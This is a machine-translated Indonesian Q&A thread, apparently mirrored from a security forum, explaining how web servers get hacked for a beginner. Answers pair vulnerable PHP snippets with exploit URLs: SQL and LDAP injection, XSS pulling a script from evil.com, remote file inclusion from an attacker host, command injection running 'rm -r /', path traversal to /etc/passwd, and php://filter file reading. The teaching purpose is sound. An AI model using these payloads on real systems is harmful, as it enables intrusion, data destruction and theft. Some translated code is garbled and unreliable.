it-swarm-id.com

Bagaimana cara kerja peretasan?

Saya secara khusus berbicara tentang server web, menjalankan Unix. Saya selalu ingin tahu bagaimana peretas mendapatkan titik masuk. Maksud saya, saya tidak melihat bagaimana seorang peretas dapat meretas halaman web ketika satu-satunya metode entri yang mereka miliki ke server adalah URL. Saya pasti kehilangan sesuatu, karena saya tidak melihat cara bagaimana peretas dapat mengakses server hanya dengan mengubah URL.

Titik masuk yang saya maksud adalah titik akses. Cara seorang hacker masuk ke server.

Bisakah saya mendapatkan contoh bagaimana seorang hacker akan membuat titik masuk ke server web? Bahasa C dapat diterima. Saya sama sekali tidak punya pengalaman dalam peretasan

Contoh sederhana akan dihargai.

98
user7360

Hacks yang berfungsi hanya dengan mengubah URL

  • Satu contoh sah dan satu jahat
  • Beberapa contoh memerlukan pengodean URL agar berfungsi (biasanya dilakukan secara otomatis oleh browser)

Injeksi SQL

kode:

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

exploit (masuk sebagai administrator tanpa mengetahui kata sandi):

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

Cross Site Scripting (XSS)

kode:

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

exploit (register mengunjungi pengguna sebagai zombie di BeEF ):

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

Eksekusi kode jarak jauh

kode (contoh Tylerl):

<? include($_GET["module"].".php"); ?>

exploit (unduh dan jalankan kode arbitrer):

example.com/?module=frontpage
example.com/?module=Pastebin.com/mymaliciousscript

Perintah injeksi

kode:

<?php
echo Shell_exec('cat '.$_GET['filename']);
?>

exploit (mencoba menghapus semua file dari direktori root):

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

Injeksi kode

kode:

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>

exploit (injects phpinfo () perintah yang mencetak info serangan yang sangat berguna di layar):

example.com/?arg=1
example.com/?arg=1; phpinfo() 

Injeksi LDAP

kode:

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

exploit (masuk tanpa mengetahui kata sandi admin):

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

Jalur traversal

kode:

<?php
include("./" . $_GET['page']);
?>

exploit (mengambil/etc/passwd):

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

Redirect/Forward attack

kode:

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

exploit (Mengirim pengguna dari halaman Anda ke halaman jahat):

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

Gagal Membatasi Akses URL

kode:

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

exploit:

example.com/users/showUser.php
example.com/admins/editUser.php

Pemalsuan Permintaan Lintas Situs

kode:

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

exploit:

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

Buffer overflow (secara teknis dengan mengakses URL, tetapi diimplementasikan dengan metasploit

kode:

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

Eksploitasi (Metasploit + meterpreter?):

http://www.exploit-db.com/exploits/16798/
189
Chris Dale

Cara (saat ini) yang paling umum adalah melalui lubang di aplikasi PHP. Ada lusinan cara di mana ini bisa bekerja, tapi di sini sederhana, mudah:

Bayangkan pemilik situs yang tidak menaruh curiga memutuskan untuk mengambil jalan pintas dalam kode-nya sehingga http://example.com/site.php?module=xyz sebenarnya pertama-tama memuat beberapa templat Shell dan kemudian menjalankan "xyz.php" untuk mengisi konten. Jadi mungkin dia menulis sesuatu seperti ini:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

Peretas kemudian mengunjungi situs menggunakan URL berikut:
http://example.com/site.php?module=http://malicio.us/evilprogram

Sekarang, alih-alih memuat skrip lokalnya, PHP keluar dan mengunduh http://malicio.us/evilprogram.php dan jalankan - menjalankan apa pun yang PHP kode yang diinginkan penyerang. Mungkin mengirim spam, mungkin memasang backdoor Shell, mungkin mencari file konfigurasi untuk kata sandi.

Ada ribuan cara untuk meretas situs, masing-masing sama novelnya dengan yang berikutnya. Hampir secara universal, mereka melibatkan programmer yang tidak memikirkan semua input yang mungkin untuk program mereka dan efek tak terduga yang mungkin mereka miliki.

24
tylerl

Ada 2 cara untuk melihatnya, Anda bisa fokus pada server itu sendiri, atau fokus pada aplikasi web yang dijalankan server.

Sebagai server, port terbuka dapat menjalankan layanan yang dapat Anda sambungkan dan dapatkan akses ke server. Dengan menggunakan eksploitasi yang diketahui, Anda bisa mendapatkan akses root. Sebagai contoh, beberapa server FTP untuk Unix memiliki kerentanan yang dapat dieksploitasi oleh alat seperti Metasploit untuk mendapatkan Shell root.

Sebagai aplikasi, ada terlalu banyak cara untuk mengeksploitasi aplikasi yang ditulis atau dikonfigurasi dengan buruk. Misalnya, jika Anda meneruskan kueri SQL sebagai GET, Anda sebenarnya bisa memanipulasi URL itu sendiri untuk melakukan serangan SQL Injection dan dump seluruh basis data. Misalnya (tergantung pada pengkodean situs): http://www.mydomain.com/products/products.asp?productid=12 UNION SELECT nama pengguna, kata sandi DARI PENGGUNA

Sekali lagi, Anda menyentuh subjek besar dan saya harap ini membantu Anda memfokuskan langkah selanjutnya.

11
schroeder

Jawaban Singkat

Ini mungkin bukan pertanyaan yang tepat.

Seorang peretas ...

... adalah seorang insinyur sosial.

Mereka lebih tertarik pada interaksi mereka dengan orang daripada interaksi mereka dengan komputer. Seorang hacker jauh lebih suka jika Anda memberinya kata sandi Anda, daripada harus dengan paksa memaksanya.

... mencari pengetahuan ...

... dan tahu bahwa pengetahuan adalah kekuatan. Seorang hacker lebih tertarik pada mendapatkan nomor kartu kredit Anda daripada yang sebenarnya menggunakan Itu.

... menggunakan moralitas sebagai alasan ...

... bukan penyebab. Inilah sebabnya mengapa banyak peretas akan memanfaatkan peristiwa politik yang berorientasi moral untuk go public. Mereka tahu mereka bisa menggunakan moralitas untuk memaafkan tindakan mereka di mata publik.

... tidak tertangkap kecuali dia mau.

Sebagian besar waktu. Peretas Wannabe yang masuk begitu saja tanpa memperhatikan siluman atau anonimitas dikenal sebagai "skrip kiddies" atau "skiddies" dalam komunitas peretasan. Ada jauh lebih banyak skiddies daripada peretas, kemungkinan besar, dan mereka mungkin akan menjadi gangguan terbesar Anda.

... tidak memerlukan alat khusus atau pintu belakang.

Frontend yang Anda berikan kemungkinan sudah cukup.

Jawaban Panjang

Anda dapat mengamankan diri dari eksploitasi di Metasploit semua yang Anda inginkan. Seorang hacker hanya akan berjalan masuk melalui pintu depan - jika tidak secara virtual.

Jawaban yang Anda Inginkan

Melihat bagaimana orang tidak menyukai jawaban yang saya berikan , secukupnya, saya akan memberi Anda sesuatu yang sedikit lebih sejalan. dari apa yang kamu inginkan.

Peretas ingin tetap anonim. Langkah pertama dalam serangan apa pun adalah merangkai barisan proksi semacam itu, baik itu proksi SOCKS, zombie, atau hanya bot sederhana yang membentuk botnet. Ada beberapa cara untuk melakukan ini, tetapi mari kita dapatkan beberapa proksi mati demi diskusi. Pergilah ke Pastebin.com dan lakukan pencarian untuk 8080. Ini adalah port umum untuk proxy web. Gulir ke bawah dalam hasil sampai Anda menemukan daftar alamat IP dan klik untuk melihat hasilnya. Anda harus memiliki daftar panjang proxy web. Saya dapat menjamin bahwa sebagian besar, jika tidak semua, akan mati. Maaf, ini bukan tutorial peretasan.

Langkah selanjutnya adalah mengumpulkan informasi yang tampaknya sepele tentang target Anda. Menggunakan proxy-nya, seorang hacker akan menjalankan portcans, kemudian menyelidiki setiap layanan yang ia temukan. Punya situs web? Mari kita jelajahi. Punya server MySQL? Mari kita lihat versi apa itu. Menjalankan SSH? Mari kita lihat apakah ia menerima kata sandi teks, atau terbatas pada sertifikat.

Kemudian hacker duduk, melihat apa yang dia kumpulkan, dan memutuskan apa titik terlemah dari sistem tersebut. Bergantung pada ukuran sistem, ia mungkin kembali dan menyelidiki lebih banyak, jika ada lebih banyak untuk diselidiki dan ia merasa belum mendapatkan kelemahan yang cukup baik. Kelemahan tidak harus menjadi "lubang" keamanan sejati: itu hanya harus menjadi tautan terlemah. Mungkin Anda memiliki server FTP yang tidak melindungi terhadap palu (upaya masuk berulang). Mungkin Anda memiliki server web dengan banyak formulir atau URL yang berpotensi dapat dieksploitasi. Mereka layak diselidiki lebih lanjut.

Jika perlu, penyerang mungkin menulis skrip atau program untuk melakukan serangan terakhir, meskipun ini tidak selalu terjadi. Sebagian besar kelemahan dapat dieksploitasi dengan alat yang ada, jadi ini biasanya tidak perlu bagi peretas modern. Namun, kadang-kadang peretas menemukan celah keamanan baru dalam perangkat lunak, dalam hal ini mereka terkadang perlu menulis alat khusus untuk mengeksploitasi perangkat lunak tersebut.

Contoh yang bagus dari program serangan yang sangat mencolok adalah yang digunakan untuk menyebabkan masalah pada server untuk permainan yang disebut Terraria. Ini bukan tujuan awalnya, tetapi karena mengekspos berbagai eksploitasi dalam perangkat lunak server, itu cenderung digunakan untuk itu oleh orang lain. Saya menulisnya di C #. Kode sumber tersedia di GitHub . Eksploitasi menggunakan manipulasi bytecode untuk memodifikasi klien yang ada untuk mengirim data berbahaya. Server tidak mengharapkan data ini, dan bereaksi dengan cara yang tidak dirancang untuk berfungsi. Menemukan eksploitasi seperti ini bisa semudah membalikkan rekayasa perangkat lunak target - saya katakan sederhana karena ini telah menjadi tugas yang semakin mudah dengan bahasa reflektif modern, seperti C # dan Java. Program-program seperti .NET Reflector (berbayar) dan dotPeek (gratis, untuk sekarang) memungkinkan ini dengan mengklik tombol. Seorang programmer C # yang cukup terlatih kemudian dapat mengamati kode, menentukan fungsinya, dan menulis program untuk mengubah fungsi ini.

7
Zenexer

Seorang teman saya memiliki kontrak untuk bekerja di sebuah situs. Ketika dia melakukannya dia melihat peretas masuk ke situs web dan melakukan hal-hal yang tidak dia sukai. Setelah melihat beberapa file log dia melihat 'peretas' menemukan situs itu dengan googling kesalahan mysql.

Saat Anda dapat menyuntikkan sql, Anda dapat melakukan apa pun yang Anda inginkan seperti membuat sendiri akun. Jika Anda dapat mengunggah file (terutama php), Anda memiliki kemungkinan untuk dapat menjalankannya. Jika Anda dapat menjalankannya, Anda dapat melakukan lebih banyak kerusakan seperti membaca/menulis file pada sistem file server bahkan jika Anda tidak memiliki akun di server linux/windows.

Teknik lain adalah membobol basis data, melihat kata sandi (terutama jika tidak hash) daripada mencoba membuat koneksi ssh atau ftp ke alamat ip yang sama dari situs dan mencoba kombinasi pengguna/kata sandi.

Anda juga tidak perlu membobol server untuk diretas. Seseorang yang saya temui memberi tahu saya bagaimana perangkat lunak yang sudah ketinggalan zaman diinstal di servernya. Para penyerang menggunakannya untuk mengunggah dan mengeksekusi file php mereka sendiri yang menyuntikkan satu baris kode (untuk menambahkan iframe) ke setiap file index.php dan index.html. Intinya tidak ada yang bisa mengunjungi situs. Itu diarahkan atau memberi banyak popup.

4
user5575

Berapa kali kita membaca tentang login tanpa kata sandi atau "Joes"? Tidak memerlukan pengetahuan tentang Metasploit atau apapun yang benar-benar eksotis untuk didapatkan di pintu depan. Agak seperti mobil berjalan di jalan masuk di pagi yang dingin "Tolong curi aku".

2
jl01

Hanya beberapa contoh lagi untuk Anda pertimbangkan.

Berikut dari contoh tylerl:

<?php
   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>

Vektor serangan:

http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure

Ini adalah file lokal termasuk serangan base64 karena kurangnya pengkodean aman, penyerang dapat membaca hampir semua file di situs atau server yang berakhiran [.php], dalam hal ini membaca isi file dari configure.php file, PHP mengembalikan base64_encode dari seluruh konten file yang mudah didekodekan kembali ke teks yang dapat dibaca.

Namun URL yang salah format tidak harus mencari lubang validasi keamanan input.

Di banyak situs web perdagangan, kode $ PHP_SELF salah melaporkan nama file di mana yoursite.com/admin/administrators.php, $ PHP_SELF melaporkan nama file sebagai administrator.php, namun jika login.php ditambahkan seperti admin/administrator.php/login. php, lalu $ PHP_SELF misreport login.php sebagai nama file, bukan administrators.php.

Jadi misalnya jika pertanyaan validasi sesi admin ditanyakan dalam contoh yang menakjubkan ini:

* jika (bukan sesi admin yang valid) dan ($ PHP_SELF bukan = untuk login.php) lalu redirect ke login.php *

Halaman tidak akan pernah dialihkan ke login.php karena $ PHP_SELF salah melaporkan nama file yang benar, sehingga penyerang memiliki akses ke file administrator.php tanpa perlu kredensial yang benar.

1
Taipo